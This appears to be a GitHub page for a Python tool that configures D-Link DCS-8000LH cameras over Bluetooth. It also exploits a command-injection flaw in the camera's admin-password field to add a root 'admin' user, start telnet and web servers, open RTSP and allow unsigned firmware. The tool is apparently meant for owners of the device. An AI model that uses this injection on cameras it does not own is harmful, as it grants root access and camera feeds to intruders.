-
Notifications
You must be signed in to change notification settings - Fork 37
/
dcs8000lh-configure.py
executable file
·186 lines (163 loc) · 7.79 KB
/
dcs8000lh-configure.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python3
#
# SPDX-License-Identifier: GPL-2.0
# Copyright(c) 2019 Bjørn Mork <[email protected]>
import sys
import argparse
import base64
import hashlib
from bluepy.btle import Peripheral
VERSION = "0.02"
# helper converting "K=V;L=W;.." strings to { "K": "V", "L": "W". ...} dicts
def kv2dict(kvstr, sep=";"):
result = {}
for x in kvstr.split(sep, 50):
(k, v) = x.split("=", 2)
result[k] = v
return result
class BleCam(object):
locked = True
def __init__(self, address, pincode):
print("Connecting to %s..." % address)
self.pincode = pincode
self.periph = Peripheral(address)
self._ipcamservice()
self.name = self.periph.getCharacteristics(uuid=0x2a00)[0].read().decode() # wellknown name characteristic
print("Connected to '%s'" % self.name)
def _ipcamservice(self):
try:
print("Verifying IPCam service")
self.service = self.periph.getServiceByUUID(0xd001)
self.handles = self.service.getCharacteristics()
except BTLEEException:
print("no IPCam service found for %s" % periph.address)
def dumpchars(self):
print("%s supports these characteristics:" % self.name)
for h in self.handles:
print("%s - Handle=%#06x (%s)" % (h.uuid, h.getHandle(), h.propertiesToString()))
def unlock(self):
if not self.locked:
return True
auth = self.service.getCharacteristics(0xa001)[0]
state = kv2dict(auth.read().decode())
# already unlocked?
if state["M"] == 0:
self.locked = False
return True
self.challenge = state["C"]
hashit = self.name + self.pincode + self.challenge
self.key = base64.b64encode(hashlib.md5(hashit.encode()).digest())[:16]
try:
auth.write("M=0;K=".encode() + self.key, True)
self.locked = False
except:
print("ERROR: failed to unlock %s - wrong pincode?" % self.name)
return not self.locked
def get_ipconfig(self):
if not self.unlock(): return
return kv2dict(self.service.getCharacteristics(0xa104)[0].read().decode())
def get_wificonfig(self):
if not self.unlock(): return
return kv2dict(self.service.getCharacteristics(0xa101)[0].read().decode())
def wifilink(self):
if not self.unlock(): return
r = kv2dict(self.service.getCharacteristics(0xa103)[0].read().decode())
return r["S"] == "1"
def sysinfo(self):
if not self.unlock(): return
return kv2dict(self.service.getCharacteristics(0xa200)[0].read().decode())
def setup_wifi(self, essid, passwd):
for net in self.wifi_scan():
if net["I"] == essid:
cfg = "M=" + net["M"] + ";I=" + essid + ";S=" + net["S"] + ";E=" + net["E"] + ";K=" + passwd
print("Will configure: %s" % cfg)
self.service.getCharacteristics(0xa101)[0].write(cfg.encode(), True)
self.service.getCharacteristics(0xa102)[0].write("C=1".encode(), True)
return True
print("%s cannot see the '%s' network" % (self.name, essid))
return False
def wifi_scan(self):
def _wifi2dict(wifistr):
return kv2dict(wifistr[2:], ",")
if not self.unlock(): return
print("%s is scanning for WiFi networks..." % self.name)
scan = self.service.getCharacteristics(0xa100)[0]
p = -1
n = 0
result = ""
while p < n:
t = scan.read().decode().split(";", 3)
result = result + t[2]
if not t[0].startswith("N=") or not t[1].startswith("P="):
return
n = int(t[0].split("=",2)[1])
p = int(t[1].split("=",2)[1])
# print("read page %d of %d" % (p, n))
return map(_wifi2dict, result.split("&", 50))
def run_command(self, command):
if not self.unlock(): return
run = "P=" + self.pincode + ";N=" + self.pincode + "&&(" + command + ")&"
if len(run) > 128:
print("ERROR: command is too long")
return
print("Attempting to run '%s' on %s by abusing the 'set admin password' request" % (command, self.name))
try:
self.service.getCharacteristics(0xa201)[0].write(run.encode(), True)
except:
# try repeating with an empty password, which seems to be te initial state after factory reset
run = "P=;N=" + self.pincode + "&&(" + command + ")&"
try:
self.service.getCharacteristics(0xa201)[0].write(run.encode(), True)
except:
print("ERROR: Failed - is the admin password different from the pincode?")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="IPCam Bluetooth configuration tool.")
parser.add_argument("address", help="IPCam Bluetooth MAC address (01:23:45:67:89:AB)")
parser.add_argument("pincode", help="IPCam PIN Code (6 digits)")
#parser.add_argument("-v", "--verbose", help="Verbose output", action="store_true")
parser.add_argument("--essid", help="Connect to this WiFi network")
parser.add_argument("--wifipw", help="Password for ESSID")
parser.add_argument("--survey", help="List WiFi networks seen by the IPCam", action="store_true")
parser.add_argument("--netconf", help="Print current network configuration", action="store_true")
parser.add_argument("--sysinfo", help="Dump system configuration", action="store_true")
parser.add_argument("--command", help="Run command on IPCam")
parser.add_argument("--telnetd", help="Start telnet server on IPCam", action="store_true")
parser.add_argument("--lighttpd", help="Start web server on IPCam", action="store_true")
parser.add_argument("--rtsp", help="Enable access to RTSP server on IPCam", action="store_true")
parser.add_argument("--unsignedfw", help="Allow unsigned firmware", action="store_true")
parser.add_argument("--attrs", help="Dump IPCam GATT characteristics", action="store_true")
parser.add_argument("-V", "--version", action="version", version="%(prog)s " + VERSION)
args = parser.parse_args()
cam = BleCam(args.address, args.pincode)
if args.essid:
wifiok = cam.setup_wifi(args.essid, args.wifipw)
if args.netconf:
print("wifi link is %s" % "Up" if cam.wifilink() else "Down")
print("wifi config: %s" % cam.get_wificonfig())
print("ip config: %s" % cam.get_ipconfig())
if args.sysinfo:
print(cam.sysinfo())
if args.survey:
for network in cam.wifi_scan():
print(network)
if args.command:
cam.run_command(args.command)
if args.telnetd:
print("Adding the 'admin' user as an alias for 'root'")
cam.run_command("grep -Eq ^admin: /etc/passwd||echo admin:x:0:0::/:/bin/sh >>/etc/passwd")
print("Setting the 'admin' user password to '%s'"% args.pincode)
cam.run_command("grep -Eq ^admin:x: /etc/passwd&&echo admin:" + args.pincode + "|chpasswd")
print("Starting telnetd")
cam.run_command("pidof telnetd||telnetd")
if args.lighttpd:
cam.run_command('[ "$(tdb get HTTPServer Enable_byte)" -eq "1" ]||tdb set HTTPServer Enable_byte=1')
cam.run_command("/etc/rc.d/init.d/extra_lighttpd.sh start")
if args.rtsp:
cam.run_command('[ "$(tdb get RTPServer RejectExtIP_byte)" -eq "0" ]||tdb set RTPServer RejectExtIP_byte=0')
cam.run_command('[ "$(tdb get RTPServer Authenticate_byte)" -eq "1" ]||tdb set RTPServer Authenticate_byte=1')
cam.run_command("/etc/rc.d/init.d/firewall.sh reload&&/etc/rc.d/init.d/rtspd.sh restart")
if args.unsignedfw:
cam.run_command("tdb set SecureFW _TrustLevel_byte=0")
if args.attrs:
cam.dumpchars()
print("Done.")